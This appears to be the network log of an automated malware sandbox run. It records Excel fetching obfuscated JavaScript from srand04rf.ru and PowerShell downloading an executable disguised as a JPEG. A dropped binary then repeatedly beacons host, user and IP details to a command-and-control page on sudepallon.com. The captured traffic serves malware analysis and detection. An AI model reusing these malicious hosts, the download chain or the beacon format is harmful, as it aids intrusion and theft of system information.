Jul 8, 2021 16:31:52.788335085 CEST	8.8.8.8	192.168.2.3	0xdfcb	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.16.246.238	A (IP address)	IN (0x0001)
Jul 8, 2021 16:31:52.788335085 CEST	8.8.8.8	192.168.2.3	0xdfcb	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.235.190.106	A (IP address)	IN (0x0001)
Jul 8, 2021 16:31:52.788335085 CEST	8.8.8.8	192.168.2.3	0xdfcb	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.16.226.23	A (IP address)	IN (0x0001)
Jul 8, 2021 16:31:53.451231003 CEST	8.8.8.8	192.168.2.3	0x6ae3	No error (0)	sudepallon.com		77.222.42.67	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

srand04rf.ru

api.ipify.org

sudepallon.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49724	8.211.241.0	80	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:30:09.727418900 CEST	253	OUT	GET /92375234.xml HTTP/1.1 Connection: Keep-Alive Host: srand04rf.ru
Jul 8, 2021 16:30:09.811278105 CEST	255	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 08 Jul 2021 14:30:09 GMT Content-Type: text/xml Content-Length: 8419 Connection: keep-alive Last-Modified: Thu, 08 Jul 2021 14:19:40 GMT ETag: "60e7097c-20e3" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 6d 75 6c 61 74 65 49 45 38 22 20 3e 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 76 61 72 20 5f 30 78 38 63 38 36 20 3d 20 5b 0d 0a 20 20 20 20 27 57 36 52 63 55 48 48 4f 57 34 64 63 55 53 6f 63 79 5a 47 6a 27 2c 0d 0a 20 20 20 20 27 57 51 42 64 47 61 4f 37 57 50 71 5a 57 37 33 64 49 71 27 2c 0d 0a 20 20 20 20 27 57 34 70 63 4c 71 4b 67 79 43 6b 47 61 61 48 4a 57 36 4f 27 2c 0d 0a 20 20 20 20 27 57 34 68 63 4f 71 7a 42 6e 6d 6f 37 57 37 48 43 27 2c 0d 0a 20 20 20 20 27 62 57 46 63 56 57 6d 45 57 34 66 53 78 73 6c 64 55 53 6f 4b 57 50 57 27 2c 0d 0a 20 20 20 20 27 57 51 78 63 55 73 30 74 57 51 47 32 57 37 34 27 2c 0d 0a 20 20 20 20 27 79 66 43 31 57 36 42 63 50 65 66 37 57 36 6c 64 4a 64 75 27 2c 0d 0a 20 20 20 20 27 57 50 56 63 4a 53 6f 43 6e 48 79 75 57 52 4e 64 48 6d 6b 48 57 50 62 59 57 51 4b 27 2c 0d 0a 20 20 20 20 27 57 35 37 63 4b 43 6f 4b 69 43 6b 47 57 35 2f 63 50 5a 72 5a 6d 57 27 2c 0d 0a 20 20 20 20 27 57 51 78 64 48 78 7a 63 57 37 57 42 57 34 42 64 56 71 6e 76 57 50 6d 27 2c 0d 0a 20 20 20 20 27 57 35 4e 64 54 43 6b 6c 41 67 38 64 57 50 68 64 50 53 6b 30 57 52 39 4a 57 51 33 63 4c 53 6f 34 57 50 70 64 4e 32 4f 27 2c 0d 0a 20 20 20 20 27 7a 67 35 6a 57 37 30 2f 77 4a 31 65 57 34 6c 63 4f 4b 2f 63 48 47 27 2c 0d 0a 20 20 20 20 27 57 50 62 79 42 6d 6f 55 57 50 44 7a 6b 62 6c 63 4a 57 48 59 63 71 27 2c 0d 0a 20 20 20 20 27 57 37 6c 64 55 74 2f 63 4e 38 6b 64 57 50 4e 63 51 74 79 27 2c 0d 0a 20 20 20 20 27 61 61 68 64 48 75 54 48 57 50 39 44 71 47 27 2c 0d 0a 20 20 20 20 27 57 51 64 63 4d 62 69 38 57 4f 53 78 57 37 71 27 2c 0d 0a 20 20 20 20 27 57 37 69 51 6e 6d 6f 2b 44 43 6b 56 7a 53 6f 63 27 2c 0d 0a 20 20 20 20 27 57 35 57 48 72 76 4a 63 54 6d 6f 46 45 77 2f 63 52 53 6f 6c 63 6d 6f 35 6d 6d 6f 49 27 2c 0d 0a 20 20 20 20 27 6b 38 6f 66 65 6d 6b 61 57 35 50 62 7a 63 7a 4c 6c 63 58 51 27 2c 0d 0a 20 20 20 20 27 57 37 68 64 55 4d 70 64 48 43 6f 38 57 35 46 63 4b 48 71 71 79 65 39 4d 27 2c 0d 0a 20 20 20 20 27 61 38 6f 70 63 53 6b 6f 6e 43 6b 4f 72 71 27 2c 0d 0a 20 20 20 20 27 57 50 62 35 57 51 56 64 56 30 68 63 51 53 6b 37 57 35 38 27 2c 0d 0a 20 20 20 20 27 79 31 44 4c 57 52 78 63 4b 65 31 6f 57 36 61 27 2c 0d 0a 20 20 20 20 27 57 35 33 63 4b 53 6f 50 6b 38 6f 50 57 35 64 63 4c 64 7a 75 69 43 6b 2b 27 2c 0d 0a 20 20 20 20 27 57 34 38 64 78 38 6b 4e 57 50 56 64 49 58 7a 65 69 53 6f 44 57 36 52 64 4d 6d 6b 34 57 4f 5a 63 47 6d 6b 71 67 64 37 64 4b 43 6b 2f 57 52 37 63 4c 53 6f 51 57 52 4c 36 57 34 58 52 65 65 33 64 4b 6d 6f 70 69 4c 33 63 4d 4a 6d 35 69 43 6b 67 57 36 37 63 4d 4c 75 78 57 37 33 63 4d 72 6c 64 4e 43 6b 76 43 66 5a 64 4b 43 6f 35 7a 6d 6f 6c 57 35 74 63 4a 76 64 63 49 53 6f 4c 57 36 4f 4e 57 37 37 64 53 38 6b 34 74 6d 6f 65 6a 43 6b 45 42 43 6b 2b 61 71 4b 72 57 37 43 34 57 52 78 63 48 53 6b 34 63 6d 6f 63 70 59 47 2f 6d 38 6b 69 64 75 30 61 74 47 72 4f 74 43 6f 79 57 34 2f 63 47 6d 6f 69 57 35 42 63 51 43 6f 66 67 53 6f 68 57 36 42 63 4d 4c 78 64 54 30 42 64 56 4b 61 32 46 53 6f 71 57 37 2f 63 4f 38 6f 31 6b 53 6b 51 57 34 76 4c Data Ascii: <!DOCTYPE html><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" ><html><body><script language="javascript">var _0x8c86 = [ 'W6RcUHHOW4dcUSocyZGj', 'WQBdGaO7WPqZW73dIq', 'W4pcLqKgyCkGaaHJW6O', 'W4hcOqzBnmo7W7HC', 'bWFcVWmEW4fSxsldUSoKWPW', 'WQxcUs0tWQG2W74', 'yfC1W6BcPef7W6ldJdu', 'WPVcJSoCnHyuWRNdHmkHWPbYWQK', 'W57cKCoKiCkGW5/cPZrZmW', 'WQxdHxzcW7WBW4BdVqnvWPm', 'W5NdTCklAg8dWPhdPSk0WR9JWQ3cLSo4WPpdN2O', 'zg5jW70/wJ1eW4lcOK/cHG', 'WPbyBmoUWPDzkblcJWHYcq', 'W7ldUt/cN8kdWPNcQty', 'aahdHuTHWP9DqG', 'WQdcMbi8WOSxW7q', 'W7iQnmo+DCkVzSoc', 'W5WHrvJcTmoFEw/cRSolcmo5mmoI', 'k8ofemkaW5PbzczLlcXQ', 'W7hdUMpdHCo8W5FcKHqqye9M', 'a8opcSkonCkOrq', 'WPb5WQVdV0hcQSk7W58', 'y1DLWRxcKe1oW6a', 'W53cKSoPk8oPW5dcLdzuiCk+', 'W48dx8kNWPVdIXzeiSoDW6RdMmk4WOZcGmkqgd7dKCk/WR7cLSoQWRL6W4XRee3dKmopiL3cMJm5iCkgW67cMLuxW73cMrldNCkvCfZdKCo5zmolW5tcJvdcISoLW6ONW77dS8k4tmoejCkEBCk+aqKrW7C4WRxcHSk4cmocpYG/m8kidu0atGrOtCoyW4/cGmoiW5BcQCofgSohW6BcMLxdT0BdVKa2FSoqW7/cO8o1kSkQW4vL

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49748	8.211.241.0	80	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:30:58.213911057 CEST	3578	OUT	GET /08.jpg HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1 Host: srand04rf.ru Connection: Keep-Alive
Jul 8, 2021 16:30:58.378170967 CEST	3580	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 08 Jul 2021 14:30:58 GMT Content-Type: image/jpeg Content-Length: 763392 Connection: keep-alive Last-Modified: Wed, 07 Jul 2021 13:36:32 GMT ETag: "60e5ade0-ba600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 81 0c 63 f0 c5 6d 0d a3 c5 6d 0d a3 c5 6d 0d a3 18 92 c2 a3 c4 6d 0d a3 18 92 c0 a3 c6 6d 0d a3 18 92 c3 a3 d1 6d 0d a3 18 92 c6 a3 d3 6d 0d a3 c5 6d 0c a3 a1 6d 0d a3 18 92 df a3 c0 6d 0d a3 18 92 c4 a3 c4 6d 0d a3 18 92 c1 a3 c4 6d 0d a3 52 69 63 68 c5 6d 0d a3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a3 3c de 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 62 07 00 00 ce 0d 00 00 00 00 00 b0 ac 01 00 00 10 00 00 00 80 07 00 00 00 00 01 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 57 d6 0b 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f8 75 09 00 b4 00 00 00 00 80 13 00 40 93 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 15 00 40 47 00 00 70 39 09 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 39 09 00 40 00 00 00 00 00 00 00 00 00 00 00 00 80 07 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 17 60 07 00 00 10 00 00 00 62 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 04 02 00 00 80 07 00 00 06 02 00 00 66 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 ea 09 00 00 90 09 00 00 5e 00 00 00 6c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 40 93 01 00 00 80 13 00 00 94 01 00 00 ca 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 47 00 00 00 20 15 00 00 48 00 00 00 5e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec b8 40 af 05 01 05 70 5b 07 01 05 f8 53 08 01 05 60 9a 09 01 05 f0 32 09 01 2d c8 53 08 01 05 b0 27 09 01 a3 ac 7a 13 01 5d c3 68 e5 6f 07 01 e8 41 a2 01 00 59 c3 68 ef 6f 07 01 e8 35 a2 01 00 59 c3 b9 18 ee 09 01 e8 55 15 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$cmmmmmmmmmmmmRichmPEL<`bpW@u@ @Gp9T9@.text`b `.rdataPf@@.data^l@.rsrc@@@.reloc@G H^@BU@p[S`2-S'z]hoAYho5YU

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49764	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:56.518250942 CEST	6034	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:56.586610079 CEST	6034	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:31:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 41 5a 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHAZSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49765	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:56.938754082 CEST	6035	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:57.006598949 CEST	6035	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:31:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 56 45 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFVEUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49766	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:57.339512110 CEST	6036	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:57.414515972 CEST	6037	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:31:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 41 5a 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQAZJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49767	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:57.757333994 CEST	6037	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:57.826961040 CEST	6038	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:31:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 4a 51 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFJQUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49768	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:58.204698086 CEST	6039	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:58.276258945 CEST	6039	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:31:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 5a 41 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVZAEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49769	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:58.606812954 CEST	6040	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:58.675935984 CEST	6040	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 43 58 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMCXNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49770	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:59.018161058 CEST	6041	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:59.090984106 CEST	6042	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 4b 50 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNKPMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49771	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:59.415894985 CEST	6043	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:59.487183094 CEST	6043	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 4e 4d 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNNMMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49772	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:59.801717997 CEST	6044	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:59.868599892 CEST	6044	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 4b 50 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNKPMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49773	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:00.207560062 CEST	6045	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
